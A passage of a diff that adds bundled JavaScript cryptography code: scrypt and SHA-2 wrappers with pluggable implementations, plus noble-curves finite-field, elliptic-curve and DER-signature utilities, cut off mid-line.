"passwd"); + const salt = getBytes(_salt, "salt"); + return hexlify(await __scryptAsync(passwd, salt, N, r, p, dkLen, progress)); +} +scrypt._ = _scryptAsync; +scrypt.lock = function () { lockedAsync = true; }; +scrypt.register = function (func) { + if (lockedAsync) { + throw new Error("scrypt is locked"); + } + __scryptAsync = func; +}; +Object.freeze(scrypt); +/** + * Provides a synchronous variant of [[scrypt]]. + * + * This will completely lock up and freeze the UI in a browser and will + * prevent any event loop from progressing. For this reason, it is + * preferred to use the [async variant](scrypt). + * + * @_docloc: api/crypto:Passwords + * + * @example: + * // The password must be converted to bytes, and it is generally + * // best practices to ensure the string has been normalized. Many + * // formats explicitly indicate the normalization form to use. + * password = "hello" + * passwordBytes = toUtf8Bytes(password, "NFKC") + * + * salt = id("some-salt") + * + * // Compute the scrypt + * scryptSync(passwordBytes, salt, 1024, 8, 1, 16) + * //_result: + */ +function scryptSync(_passwd, _salt, N, r, p, dkLen) { + const passwd = getBytes(_passwd, "passwd"); + const salt = getBytes(_salt, "salt"); + return hexlify(__scryptSync(passwd, salt, N, r, p, dkLen)); +} +scryptSync._ = _scryptSync; +scryptSync.lock = function () { lockedSync = true; }; +scryptSync.register = function (func) { + if (lockedSync) { + throw new Error("scryptSync is locked"); + } + __scryptSync = func; +}; +Object.freeze(scryptSync); + +const _sha256 = function (data) { + return createHash("sha256").update(data).digest(); +}; +const _sha512 = function (data) { + return createHash("sha512").update(data).digest(); +}; +let __sha256 = _sha256; +let __sha512 = _sha512; +let locked256 = false, locked512 = false; +/** + * Compute the cryptographic SHA2-256 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha256("0x") + * //_result: + * + * sha256("0x1337") + * //_result: + * + * sha256(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + * + */ +function sha256(_data) { + const data = getBytes(_data, "data"); + return hexlify(__sha256(data)); +} +sha256._ = _sha256; +sha256.lock = function () { locked256 = true; }; +sha256.register = function (func) { + if (locked256) { + throw new Error("sha256 is locked"); + } + __sha256 = func; +}; +Object.freeze(sha256); +/** + * Compute the cryptographic SHA2-512 hash of %%data%%. + * + * @_docloc: api/crypto:Hash Functions + * @returns DataHexstring + * + * @example: + * sha512("0x") + * //_result: + * + * sha512("0x1337") + * //_result: + * + * sha512(new Uint8Array([ 0x13, 0x37 ])) + * //_result: + */ +function sha512(_data) { + const data = getBytes(_data, "data"); + return hexlify(__sha512(data)); +} +sha512._ = _sha512; +sha512.lock = function () { locked512 = true; }; +sha512.register = function (func) { + if (locked512) { + throw new Error("sha512 is locked"); + } + __sha512 = func; +}; +Object.freeze(sha256); + +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// 100 lines of code in the file are duplicated from noble-hashes (utils). +// This is OK: `abstract` directory does not use noble-hashes. +// User may opt-in into using different hashing library. This way, noble-hashes +// won't be included into their bundle. +const _0n$3 = BigInt(0); +const _1n$4 = BigInt(1); +const _2n$2 = BigInt(2); +const u8a = (a) => a instanceof Uint8Array; +const hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0')); +/** + * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123' + */ +function bytesToHex(bytes) { + if (!u8a(bytes)) + throw new Error('Uint8Array expected'); + // pre-caching improves the speed 6x + let hex = ''; + for (let i = 0; i < bytes.length; i++) { + hex += hexes[bytes[i]]; + } + return hex; +} +function numberToHexUnpadded(num) { + const hex = num.toString(16); + return hex.length & 1 ? `0${hex}` : hex; +} +function hexToNumber(hex) { + if (typeof hex !== 'string') + throw new Error('hex string expected, got ' + typeof hex); + // Big Endian + return BigInt(hex === '' ? '0' : `0x${hex}`); +} +/** + * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23]) + */ +function hexToBytes(hex) { + if (typeof hex !== 'string') + throw new Error('hex string expected, got ' + typeof hex); + const len = hex.length; + if (len % 2) + throw new Error('padded hex string expected, got unpadded hex of length ' + len); + const array = new Uint8Array(len / 2); + for (let i = 0; i < array.length; i++) { + const j = i * 2; + const hexByte = hex.slice(j, j + 2); + const byte = Number.parseInt(hexByte, 16); + if (Number.isNaN(byte) || byte < 0) + throw new Error('Invalid byte sequence'); + array[i] = byte; + } + return array; +} +// BE: Big Endian, LE: Little Endian +function bytesToNumberBE(bytes) { + return hexToNumber(bytesToHex(bytes)); +} +function bytesToNumberLE(bytes) { + if (!u8a(bytes)) + throw new Error('Uint8Array expected'); + return hexToNumber(bytesToHex(Uint8Array.from(bytes).reverse())); +} +function numberToBytesBE(n, len) { + return hexToBytes(n.toString(16).padStart(len * 2, '0')); +} +function numberToBytesLE(n, len) { + return numberToBytesBE(n, len).reverse(); +} +// Unpadded, rarely used +function numberToVarBytesBE(n) { + return hexToBytes(numberToHexUnpadded(n)); +} +/** + * Takes hex string or Uint8Array, converts to Uint8Array. + * Validates output length. + * Will throw error for other types. + * @param title descriptive title for an error e.g. 'private key' + * @param hex hex string or Uint8Array + * @param expectedLength optional, will compare to result array's length + * @returns + */ +function ensureBytes(title, hex, expectedLength) { + let res; + if (typeof hex === 'string') { + try { + res = hexToBytes(hex); + } + catch (e) { + throw new Error(`${title} must be valid hex string, got "${hex}". Cause: ${e}`); + } + } + else if (u8a(hex)) { + // Uint8Array.from() instead of hash.slice() because node.js Buffer + // is instance of Uint8Array, and its slice() creates **mutable** copy + res = Uint8Array.from(hex); + } + else { + throw new Error(`${title} must be hex string or Uint8Array`); + } + const len = res.length; + if (typeof expectedLength === 'number' && len !== expectedLength) + throw new Error(`${title} expected ${expectedLength} bytes, got ${len}`); + return res; +} +/** + * Copies several Uint8Arrays into one. + */ +function concatBytes(...arrays) { + const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0)); + let pad = 0; // walk through each item, ensure they have proper type + arrays.forEach((a) => { + if (!u8a(a)) + throw new Error('Uint8Array expected'); + r.set(a, pad); + pad += a.length; + }); + return r; +} +function equalBytes(b1, b2) { + // We don't care about timing attacks here + if (b1.length !== b2.length) + return false; + for (let i = 0; i < b1.length; i++) + if (b1[i] !== b2[i]) + return false; + return true; +} +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +function utf8ToBytes(str) { + if (typeof str !== 'string') + throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 +} +// Bit operations +/** + * Calculates amount of bits in a bigint. + * Same as `n.toString(2).length` + */ +function bitLen(n) { + let len; + for (len = 0; n > _0n$3; n >>= _1n$4, len += 1) + ; + return len; +} +/** + * Gets single bit at position. + * NOTE: first bit position is 0 (same as arrays) + * Same as `!!+Array.from(n.toString(2)).reverse()[pos]` + */ +function bitGet(n, pos) { + return (n >> BigInt(pos)) & _1n$4; +} +/** + * Sets single bit at position. + */ +const bitSet = (n, pos, value) => { + return n | ((value ? _1n$4 : _0n$3) << BigInt(pos)); +}; +/** + * Calculate mask for N bits. Not using ** operator with bigints because of old engines. + * Same as BigInt(`0b${Array(i).fill('1').join('')}`) + */ +const bitMask = (n) => (_2n$2 << BigInt(n - 1)) - _1n$4; +// DRBG +const u8n = (data) => new Uint8Array(data); // creates Uint8Array +const u8fr = (arr) => Uint8Array.from(arr); // another shortcut +/** + * Minimal HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + * @returns function that will call DRBG until 2nd arg returns something meaningful + * @example + * const drbg = createHmacDRBG(32, 32, hmac); + * drbg(seed, bytesToKey); // bytesToKey must return Key or undefined + */ +function createHmacDrbg(hashLen, qByteLen, hmacFn) { + if (typeof hashLen !== 'number' || hashLen < 2) + throw new Error('hashLen must be a number'); + if (typeof qByteLen !== 'number' || qByteLen < 2) + throw new Error('qByteLen must be a number'); + if (typeof hmacFn !== 'function') + throw new Error('hmacFn must be a function'); + // Step B, Step C: set hashLen to 8*ceil(hlen/8) + let v = u8n(hashLen); // Minimal non-full-spec HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + let k = u8n(hashLen); // Steps B and C of RFC6979 3.2: set hashLen, in our case always same + let i = 0; // Iterations counter, will throw when over 1000 + const reset = () => { + v.fill(1); + k.fill(0); + i = 0; + }; + const h = (...b) => hmacFn(k, v, ...b); // hmac(k)(v, ...values) + const reseed = (seed = u8n()) => { + // HMAC-DRBG reseed() function. Steps D-G + k = h(u8fr([0x00]), seed); // k = hmac(k || v || 0x00 || seed) + v = h(); // v = hmac(k || v) + if (seed.length === 0) + return; + k = h(u8fr([0x01]), seed); // k = hmac(k || v || 0x01 || seed) + v = h(); // v = hmac(k || v) + }; + const gen = () => { + // HMAC-DRBG generate() function + if (i++ >= 1000) + throw new Error('drbg: tried 1000 values'); + let len = 0; + const out = []; + while (len < qByteLen) { + v = h(); + const sl = v.slice(); + out.push(sl); + len += v.length; + } + return concatBytes(...out); + }; + const genUntil = (seed, pred) => { + reset(); + reseed(seed); // Steps D-G + let res = undefined; // Step H: grind until k is in [1..n-1] + while (!(res = pred(gen()))) + reseed(); + reset(); + return res; + }; + return genUntil; +} +// Validating curves and fields +const validatorFns = { + bigint: (val) => typeof val === 'bigint', + function: (val) => typeof val === 'function', + boolean: (val) => typeof val === 'boolean', + string: (val) => typeof val === 'string', + stringOrUint8Array: (val) => typeof val === 'string' || val instanceof Uint8Array, + isSafeInteger: (val) => Number.isSafeInteger(val), + array: (val) => Array.isArray(val), + field: (val, object) => object.Fp.isValid(val), + hash: (val) => typeof val === 'function' && Number.isSafeInteger(val.outputLen), +}; +// type Record = { [P in K]: T; } +function validateObject(object, validators, optValidators = {}) { + const checkField = (fieldName, type, isOptional) => { + const checkVal = validatorFns[type]; + if (typeof checkVal !== 'function') + throw new Error(`Invalid validator "${type}", expected function`); + const val = object[fieldName]; + if (isOptional && val === undefined) + return; + if (!checkVal(val, object)) { + throw new Error(`Invalid param ${String(fieldName)}=${val} (${typeof val}), expected ${type}`); + } + }; + for (const [fieldName, type] of Object.entries(validators)) + checkField(fieldName, type, false); + for (const [fieldName, type] of Object.entries(optValidators)) + checkField(fieldName, type, true); + return object; +} +// validate type tests +// const o: { a: number; b: number; c: number } = { a: 1, b: 5, c: 6 }; +// const z0 = validateObject(o, { a: 'isSafeInteger' }, { c: 'bigint' }); // Ok! +// // Should fail type-check +// const z1 = validateObject(o, { a: 'tmp' }, { c: 'zz' }); +// const z2 = validateObject(o, { a: 'isSafeInteger' }, { c: 'zz' }); +// const z3 = validateObject(o, { test: 'boolean', z: 'bug' }); +// const z4 = validateObject(o, { a: 'boolean', z: 'bug' }); + +var ut = /*#__PURE__*/Object.freeze({ + __proto__: null, + bitGet: bitGet, + bitLen: bitLen, + bitMask: bitMask, + bitSet: bitSet, + bytesToHex: bytesToHex, + bytesToNumberBE: bytesToNumberBE, + bytesToNumberLE: bytesToNumberLE, + concatBytes: concatBytes, + createHmacDrbg: createHmacDrbg, + ensureBytes: ensureBytes, + equalBytes: equalBytes, + hexToBytes: hexToBytes, + hexToNumber: hexToNumber, + numberToBytesBE: numberToBytesBE, + numberToBytesLE: numberToBytesLE, + numberToHexUnpadded: numberToHexUnpadded, + numberToVarBytesBE: numberToVarBytesBE, + utf8ToBytes: utf8ToBytes, + validateObject: validateObject +}); + +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Utilities for modular arithmetics and finite fields +// prettier-ignore +const _0n$2 = BigInt(0), _1n$3 = BigInt(1), _2n$1 = BigInt(2), _3n$1 = BigInt(3); +// prettier-ignore +const _4n = BigInt(4), _5n = BigInt(5), _8n = BigInt(8); +// prettier-ignore +BigInt(9); BigInt(16); +// Calculates a modulo b +function mod(a, b) { + const result = a % b; + return result >= _0n$2 ? result : b + result; +} +/** + * Efficiently raise num to power and do modular division. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + * @example + * pow(2n, 6n, 11n) // 64n % 11n == 9n + */ +// TODO: use field version && remove +function pow(num, power, modulo) { + if (modulo <= _0n$2 || power < _0n$2) + throw new Error('Expected power/modulo > 0'); + if (modulo === _1n$3) + return _0n$2; + let res = _1n$3; + while (power > _0n$2) { + if (power & _1n$3) + res = (res * num) % modulo; + num = (num * num) % modulo; + power >>= _1n$3; + } + return res; +} +// Does x ^ (2 ^ power) mod p. pow2(30, 4) == 30 ^ (2 ^ 4) +function pow2(x, power, modulo) { + let res = x; + while (power-- > _0n$2) { + res *= res; + res %= modulo; + } + return res; +} +// Inverses number over modulo +function invert(number, modulo) { + if (number === _0n$2 || modulo <= _0n$2) { + throw new Error(`invert: expected positive integers, got n=${number} mod=${modulo}`); + } + // Euclidean GCD https://brilliant.org/wiki/extended-euclidean-algorithm/ + // Fermat's little theorem "CT-like" version inv(n) = n^(m-2) mod m is 30x slower. + let a = mod(number, modulo); + let b = modulo; + // prettier-ignore + let x = _0n$2, u = _1n$3; + while (a !== _0n$2) { + // JIT applies optimization if those two lines follow each other + const q = b / a; + const r = b % a; + const m = x - u * q; + // prettier-ignore + b = a, a = r, x = u, u = m; + } + const gcd = b; + if (gcd !== _1n$3) + throw new Error('invert: does not exist'); + return mod(x, modulo); +} +/** + * Tonelli-Shanks square root search algorithm. + * 1. https://eprint.iacr.org/2012/685.pdf (page 12) + * 2. Square Roots from 1; 24, 51, 10 to Dan Shanks + * Will start an infinite loop if field order P is not prime. + * @param P field order + * @returns function that takes field Fp (created from P) and number n + */ +function tonelliShanks(P) { + // Legendre constant: used to calculate Legendre symbol (a | p), + // which denotes the value of a^((p-1)/2) (mod p). + // (a | p) ≡ 1 if a is a square (mod p) + // (a | p) ≡ -1 if a is not a square (mod p) + // (a | p) ≡ 0 if a ≡ 0 (mod p) + const legendreC = (P - _1n$3) / _2n$1; + let Q, S, Z; + // Step 1: By factoring out powers of 2 from p - 1, + // find q and s such that p - 1 = q*(2^s) with q odd + for (Q = P - _1n$3, S = 0; Q % _2n$1 === _0n$2; Q /= _2n$1, S++) + ; + // Step 2: Select a non-square z such that (z | p) ≡ -1 and set c ≡ zq + for (Z = _2n$1; Z < P && pow(Z, legendreC, P) !== P - _1n$3; Z++) + ; + // Fast-path + if (S === 1) { + const p1div4 = (P + _1n$3) / _4n; + return function tonelliFast(Fp, n) { + const root = Fp.pow(n, p1div4); + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // Slow-path + const Q1div2 = (Q + _1n$3) / _2n$1; + return function tonelliSlow(Fp, n) { + // Step 0: Check that n is indeed a square: (n | p) should not be ≡ -1 + if (Fp.pow(n, legendreC) === Fp.neg(Fp.ONE)) + throw new Error('Cannot find square root'); + let r = S; + // TODO: will fail at Fp2/etc + let g = Fp.pow(Fp.mul(Fp.ONE, Z), Q); // will update both x and b + let x = Fp.pow(n, Q1div2); // first guess at the square root + let b = Fp.pow(n, Q); // first guess at the fudge factor + while (!Fp.eql(b, Fp.ONE)) { + if (Fp.eql(b, Fp.ZERO)) + return Fp.ZERO; // https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm (4. If t = 0, return r = 0) + // Find m such b^(2^m)==1 + let m = 1; + for (let t2 = Fp.sqr(b); m < r; m++) { + if (Fp.eql(t2, Fp.ONE)) + break; + t2 = Fp.sqr(t2); // t2 *= t2 + } + // NOTE: r-m-1 can be bigger than 32, need to convert to bigint before shift, otherwise there will be overflow + const ge = Fp.pow(g, _1n$3 << BigInt(r - m - 1)); // ge = 2^(r-m-1) + g = Fp.sqr(ge); // g = ge * ge + x = Fp.mul(x, ge); // x *= ge + b = Fp.mul(b, g); // b *= g + r = m; + } + return x; + }; +} +function FpSqrt(P) { + // NOTE: different algorithms can give different roots, it is up to user to decide which one they want. + // For example there is FpSqrtOdd/FpSqrtEven to choice root based on oddness (used for hash-to-curve). + // P ≡ 3 (mod 4) + // √n = n^((P+1)/4) + if (P % _4n === _3n$1) { + // Not all roots possible! + // const ORDER = + // 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaabn; + // const NUM = 72057594037927816n; + const p1div4 = (P + _1n$3) / _4n; + return function sqrt3mod4(Fp, n) { + const root = Fp.pow(n, p1div4); + // Throw if root**2 != n + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // Atkin algorithm for q ≡ 5 (mod 8), https://eprint.iacr.org/2012/685.pdf (page 10) + if (P % _8n === _5n) { + const c1 = (P - _5n) / _8n; + return function sqrt5mod8(Fp, n) { + const n2 = Fp.mul(n, _2n$1); + const v = Fp.pow(n2, c1); + const nv = Fp.mul(n, v); + const i = Fp.mul(Fp.mul(nv, _2n$1), v); + const root = Fp.mul(nv, Fp.sub(i, Fp.ONE)); + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // Other cases: Tonelli-Shanks algorithm + return tonelliShanks(P); +} +// prettier-ignore +const FIELD_FIELDS = [ + 'create', 'isValid', 'is0', 'neg', 'inv', 'sqrt', 'sqr', + 'eql', 'add', 'sub', 'mul', 'pow', 'div', + 'addN', 'subN', 'mulN', 'sqrN' +]; +function validateField(field) { + const initial = { + ORDER: 'bigint', + MASK: 'bigint', + BYTES: 'isSafeInteger', + BITS: 'isSafeInteger', + }; + const opts = FIELD_FIELDS.reduce((map, val) => { + map[val] = 'function'; + return map; + }, initial); + return validateObject(field, opts); +} +// Generic field functions +/** + * Same as `pow` but for Fp: non-constant-time. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + */ +function FpPow(f, num, power) { + // Should have same speed as pow for bigints + // TODO: benchmark! + if (power < _0n$2) + throw new Error('Expected power > 0'); + if (power === _0n$2) + return f.ONE; + if (power === _1n$3) + return num; + let p = f.ONE; + let d = num; + while (power > _0n$2) { + if (power & _1n$3) + p = f.mul(p, d); + d = f.sqr(d); + power >>= _1n$3; + } + return p; +} +/** + * Efficiently invert an array of Field elements. + * `inv(0)` will return `undefined` here: make sure to throw an error. + */ +function FpInvertBatch(f, nums) { + const tmp = new Array(nums.length); + // Walk from first to last, multiply them by each other MOD p + const lastMultiplied = nums.reduce((acc, num, i) => { + if (f.is0(num)) + return acc; + tmp[i] = acc; + return f.mul(acc, num); + }, f.ONE); + // Invert last element + const inverted = f.inv(lastMultiplied); + // Walk from last to first, multiply them by inverted each other MOD p + nums.reduceRight((acc, num, i) => { + if (f.is0(num)) + return acc; + tmp[i] = f.mul(acc, tmp[i]); + return f.mul(acc, num); + }, inverted); + return tmp; +} +// CURVE.n lengths +function nLength(n, nBitLength) { + // Bit size, byte size of CURVE.n + const _nBitLength = nBitLength !== undefined ? nBitLength : n.toString(2).length; + const nByteLength = Math.ceil(_nBitLength / 8); + return { nBitLength: _nBitLength, nByteLength }; +} +/** + * Initializes a finite field over prime. **Non-primes are not supported.** + * Do not init in loop: slow. Very fragile: always run a benchmark on a change. + * Major performance optimizations: + * * a) denormalized operations like mulN instead of mul + * * b) same object shape: never add or remove keys + * * c) Object.freeze + * @param ORDER prime positive bigint + * @param bitLen how many bits the field consumes + * @param isLE (def: false) if encoding / decoding should be in little-endian + * @param redef optional faster redefinitions of sqrt and other methods + */ +function Field(ORDER, bitLen, isLE = false, redef = {}) { + if (ORDER <= _0n$2) + throw new Error(`Expected Field ORDER > 0, got ${ORDER}`); + const { nBitLength: BITS, nByteLength: BYTES } = nLength(ORDER, bitLen); + if (BYTES > 2048) + throw new Error('Field lengths over 2048 bytes are not supported'); + const sqrtP = FpSqrt(ORDER); + const f = Object.freeze({ + ORDER, + BITS, + BYTES, + MASK: bitMask(BITS), + ZERO: _0n$2, + ONE: _1n$3, + create: (num) => mod(num, ORDER), + isValid: (num) => { + if (typeof num !== 'bigint') + throw new Error(`Invalid field element: expected bigint, got ${typeof num}`); + return _0n$2 <= num && num < ORDER; // 0 is valid element, but it's not invertible + }, + is0: (num) => num === _0n$2, + isOdd: (num) => (num & _1n$3) === _1n$3, + neg: (num) => mod(-num, ORDER), + eql: (lhs, rhs) => lhs === rhs, + sqr: (num) => mod(num * num, ORDER), + add: (lhs, rhs) => mod(lhs + rhs, ORDER), + sub: (lhs, rhs) => mod(lhs - rhs, ORDER), + mul: (lhs, rhs) => mod(lhs * rhs, ORDER), + pow: (num, power) => FpPow(f, num, power), + div: (lhs, rhs) => mod(lhs * invert(rhs, ORDER), ORDER), + // Same as above, but doesn't normalize + sqrN: (num) => num * num, + addN: (lhs, rhs) => lhs + rhs, + subN: (lhs, rhs) => lhs - rhs, + mulN: (lhs, rhs) => lhs * rhs, + inv: (num) => invert(num, ORDER), + sqrt: redef.sqrt || ((n) => sqrtP(f, n)), + invertBatch: (lst) => FpInvertBatch(f, lst), + // TODO: do we really need constant cmov? + // We don't have const-time bigints anyway, so probably will be not very useful + cmov: (a, b, c) => (c ? b : a), + toBytes: (num) => (isLE ? numberToBytesLE(num, BYTES) : numberToBytesBE(num, BYTES)), + fromBytes: (bytes) => { + if (bytes.length !== BYTES) + throw new Error(`Fp.fromBytes: expected ${BYTES}, got ${bytes.length}`); + return isLE ? bytesToNumberLE(bytes) : bytesToNumberBE(bytes); + }, + }); + return Object.freeze(f); +} +/** + * Returns total number of bytes consumed by the field element. + * For example, 32 bytes for usual 256-bit weierstrass curve. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of field + */ +function getFieldBytesLength(fieldOrder) { + if (typeof fieldOrder !== 'bigint') + throw new Error('field order must be bigint'); + const bitLength = fieldOrder.toString(2).length; + return Math.ceil(bitLength / 8); +} +/** + * Returns minimal amount of bytes that can be safely reduced + * by field order. + * Should be 2^-128 for 128-bit curve such as P256. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of target hash + */ +function getMinHashLength(fieldOrder) { + const length = getFieldBytesLength(fieldOrder); + return length + Math.ceil(length / 2); +} +/** + * "Constant-time" private key generation utility. + * Can take (n + n/2) or more bytes of uniform input e.g. from CSPRNG or KDF + * and convert them into private scalar, with the modulo bias being negligible. + * Needs at least 48 bytes of input for 32-byte private key. + * https://research.kudelskisecurity.com/2020/07/28/the-definitive-guide-to-modulo-bias-and-how-to-avoid-it/ + * FIPS 186-5, A.2 https://csrc.nist.gov/publications/detail/fips/186/5/final + * RFC 9380, https://www.rfc-editor.org/rfc/rfc9380#section-5 + * @param hash hash output from SHA3 or a similar function + * @param groupOrder size of subgroup - (e.g. secp256k1.CURVE.n) + * @param isLE interpret hash bytes as LE num + * @returns valid private scalar + */ +function mapHashToField(key, fieldOrder, isLE = false) { + const len = key.length; + const fieldLen = getFieldBytesLength(fieldOrder); + const minLen = getMinHashLength(fieldOrder); + // No small numbers: need to understand bias story. No huge numbers: easier to detect JS timings. + if (len < 16 || len < minLen || len > 1024) + throw new Error(`expected ${minLen}-1024 bytes of input, got ${len}`); + const num = isLE ? bytesToNumberBE(key) : bytesToNumberLE(key); + // `mod(x, 11)` can sometimes produce 0. `mod(x, 10) + 1` is the same, but no 0 + const reduced = mod(num, fieldOrder - _1n$3) + _1n$3; + return isLE ? numberToBytesLE(reduced, fieldLen) : numberToBytesBE(reduced, fieldLen); +} + +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Abelian group utilities +const _0n$1 = BigInt(0); +const _1n$2 = BigInt(1); +// Elliptic curve multiplication of Point by scalar. Fragile. +// Scalars should always be less than curve order: this should be checked inside of a curve itself. +// Creates precomputation tables for fast multiplication: +// - private scalar is split by fixed size windows of W bits +// - every window point is collected from window's table & added to accumulator +// - since windows are different, same point inside tables won't be accessed more than once per calc +// - each multiplication is 'Math.ceil(CURVE_ORDER / 𝑊) + 1' point additions (fixed for any scalar) +// - +1 window is neccessary for wNAF +// - wNAF reduces table size: 2x less memory + 2x faster generation, but 10% slower multiplication +// TODO: Research returning 2d JS array of windows, instead of a single window. This would allow +// windows to be in different memory locations +function wNAF(c, bits) { + const constTimeNegate = (condition, item) => { + const neg = item.negate(); + return condition ? neg : item; + }; + const opts = (W) => { + const windows = Math.ceil(bits / W) + 1; // +1, because + const windowSize = 2 ** (W - 1); // -1 because we skip zero + return { windows, windowSize }; + }; + return { + constTimeNegate, + // non-const time multiplication ladder + unsafeLadder(elm, n) { + let p = c.ZERO; + let d = elm; + while (n > _0n$1) { + if (n & _1n$2) + p = p.add(d); + d = d.double(); + n >>= _1n$2; + } + return p; + }, + /** + * Creates a wNAF precomputation window. Used for caching. + * Default window size is set by `utils.precompute()` and is equal to 8. + * Number of precomputed points depends on the curve size: + * 2^(𝑊−1) * (Math.ceil(𝑛 / 𝑊) + 1), where: + * - 𝑊 is the window size + * - 𝑛 is the bitlength of the curve order. + * For a 256-bit curve and window size 8, the number of precomputed points is 128 * 33 = 4224. + * @returns precomputed point tables flattened to a single array + */ + precomputeWindow(elm, W) { + const { windows, windowSize } = opts(W); + const points = []; + let p = elm; + let base = p; + for (let window = 0; window < windows; window++) { + base = p; + points.push(base); + // =1, because we skip zero + for (let i = 1; i < windowSize; i++) { + base = base.add(p); + points.push(base); + } + p = base.double(); + } + return points; + }, + /** + * Implements ec multiplication using precomputed tables and w-ary non-adjacent form. + * @param W window size + * @param precomputes precomputed tables + * @param n scalar (we don't check here, but should be less than curve order) + * @returns real and fake (for const-time) points + */ + wNAF(W, precomputes, n) { + // TODO: maybe check that scalar is less than group order? wNAF behavious is undefined otherwise + // But need to carefully remove other checks before wNAF. ORDER == bits here + const { windows, windowSize } = opts(W); + let p = c.ZERO; + let f = c.BASE; + const mask = BigInt(2 ** W - 1); // Create mask with W ones: 0b1111 for W=4 etc. + const maxNumber = 2 ** W; + const shiftBy = BigInt(W); + for (let window = 0; window < windows; window++) { + const offset = window * windowSize; + // Extract W bits. + let wbits = Number(n & mask); + // Shift number by W bits. + n >>= shiftBy; + // If the bits are bigger than max size, we'll split those. + // +224 => 256 - 32 + if (wbits > windowSize) { + wbits -= maxNumber; + n += _1n$2; + } + // This code was first written with assumption that 'f' and 'p' will never be infinity point: + // since each addition is multiplied by 2 ** W, it cannot cancel each other. However, + // there is negate now: it is possible that negated element from low value + // would be the same as high element, which will create carry into next window. + // It's not obvious how this can fail, but still worth investigating later. + // Check if we're onto Zero point. + // Add random point inside current window to f. + const offset1 = offset; + const offset2 = offset + Math.abs(wbits) - 1; // -1 because we skip zero + const cond1 = window % 2 !== 0; + const cond2 = wbits < 0; + if (wbits === 0) { + // The most important part for const-time getPublicKey + f = f.add(constTimeNegate(cond1, precomputes[offset1])); + } + else { + p = p.add(constTimeNegate(cond2, precomputes[offset2])); + } + } + // JIT-compiler should not eliminate f here, since it will later be used in normalizeZ() + // Even if the variable is still unused, there are some checks which will + // throw an exception, so compiler needs to prove they won't happen, which is hard. + // At this point there is a way to F be infinity-point even if p is not, + // which makes it less const-time: around 1 bigint multiply. + return { p, f }; + }, + wNAFCached(P, precomputesMap, n, transform) { + // @ts-ignore + const W = P._WINDOW_SIZE || 1; + // Calculate precomputes on a first run, reuse them after + let comp = precomputesMap.get(P); + if (!comp) { + comp = this.precomputeWindow(P, W); + if (W !== 1) { + precomputesMap.set(P, transform(comp)); + } + } + return this.wNAF(W, comp, n); + }, + }; +} +function validateBasic(curve) { + validateField(curve.Fp); + validateObject(curve, { + n: 'bigint', + h: 'bigint', + Gx: 'field', + Gy: 'field', + }, { + nBitLength: 'isSafeInteger', + nByteLength: 'isSafeInteger', + }); + // Set defaults + return Object.freeze({ + ...nLength(curve.n, curve.nBitLength), + ...curve, + ...{ p: curve.Fp.ORDER }, + }); +} + +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Short Weierstrass curve. The formula is: y² = x³ + ax + b +function validatePointOpts(curve) { + const opts = validateBasic(curve); + validateObject(opts, { + a: 'field', + b: 'field', + }, { + allowedPrivateKeyLengths: 'array', + wrapPrivateKey: 'boolean', + isTorsionFree: 'function', + clearCofactor: 'function', + allowInfinityPoint: 'boolean', + fromBytes: 'function', + toBytes: 'function', + }); + const { endo, Fp, a } = opts; + if (endo) { + if (!Fp.eql(a, Fp.ZERO)) { + throw new Error('Endomorphism can only be defined for Koblitz curves that have a=0'); + } + if (typeof endo !== 'object' || + typeof endo.beta !== 'bigint' || + typeof endo.splitScalar !== 'function') { + throw new Error('Expected endomorphism with beta: bigint and splitScalar: function'); + } + } + return Object.freeze({ ...opts }); +} +// ASN.1 DER encoding utilities +const { bytesToNumberBE: b2n, hexToBytes: h2b } = ut; +const DER = { + // asn.1 DER encoding utils + Err: class DERErr extends Error { + constructor(m = '') { + super(m); + } + }, + _parseInt(data) { + const { Err: E } = DER; + if (data.length < 2 || data[0] !== 0x02) + throw new E('Invalid signature integer tag'); + const len = data[1]; + const res = data.subarray(2, len + 2); + if (!len || res.length !== len) + throw new E('Invalid signature integer: wrong length'); + // https://crypto.stackexchange.com/a/57734 Leftmost bit of first byte is 'negative' flag, + // since we always use positive integers here. It must always be empty: + // - add zero byte if exists + // - if next byte doesn't have a flag, leading zero is not allowed (minimal encoding) + if (res[0] & 0b10000000) + throw new E('Invalid signature integer: negative'); + if (res[0] === 0x00 && !(res[1] & 0b10000000)) + throw new E('Invalid signature integer: unnecessary leading zero'); + return { d: b2n(res), l: data.subarray(len + 2) }; // d is data, l is left + }, + toSig(hex) { + // parse DER signature + const { Err: E } = DER; + const data = typeof hex === 'string' ? h2b(hex) : hex; + if (!(data instanceof Uint8Array)) + throw new Error('ui8a expected'); + let l = data.length; + if (l < 2 || data[0] != 0x30) + throw new E('Invalid signature tag'); + if (data[1] !== l - 2) + throw new E('Invalid signature: incorrect length'); + const { d: r, l: sBytes } = DER._parseInt(data.subarray(2)); + const { d: s, l: rBytesLeft } = DER._parseInt(sBytes); + if (rBytesLeft.length) + throw new 